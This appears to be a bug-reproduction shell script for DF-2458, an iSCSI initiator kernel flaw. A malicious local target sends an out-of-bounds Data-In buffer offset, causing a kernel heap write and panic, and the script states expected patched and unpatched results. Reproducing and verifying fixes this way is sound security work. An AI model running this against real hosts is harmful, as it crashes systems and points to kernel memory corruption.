#!/bin/sh
# run.sh - reproduce DF-2458: malicious iSCSI target completes login, then on
# the first SCSI command (CAM LUN-probe INQUIRY) replies with a Data-In PDU
# whose target-controlled Buffer Offset (bo) is out of bounds. scsi_decap()
# does dp = csio->data_ptr + ntohl(bo) with no bounds check and memcpy()s the
# data segment there -> arbitrary-offset kernel heap WRITE -> panic.
# Requires: kldload iscsi_initiator ; run as root.
BO=${1:-0x80000000}
./mtarget2458 3260 "$BO" > mt2458.log 2>&1 &
sleep 1
# iscontrol drives the full login -> FFP -> CAM SCSI INQUIRY path
timeout 12 iscontrol -t 127.0.0.1 \
   targetName=iqn.1990-08.com.fake:t \
   initiatorName=iqn.1990-08.com.fake:i \
   authMethod=None > isc.log 2>&1
echo "iscontrol rc=$?"
pkill iscontrol 2>/dev/null; pkill mtarget2458 2>/dev/null
echo "--- mt2458.log ---"; cat mt2458.log
echo
echo "Expected UNPATCHED: kernel panic - 'Fatal trap 12 supervisor WRITE data'"
echo "  'Stopped at memcpy+0x66' / 'panic: assertion obj!=NULL in vm_object_hold_shared'"
echo "Expected PATCHED:   guest stays up; dmesg shows"
echo "  '>>> scsi_decap: bad data-in offset=... - dropping'"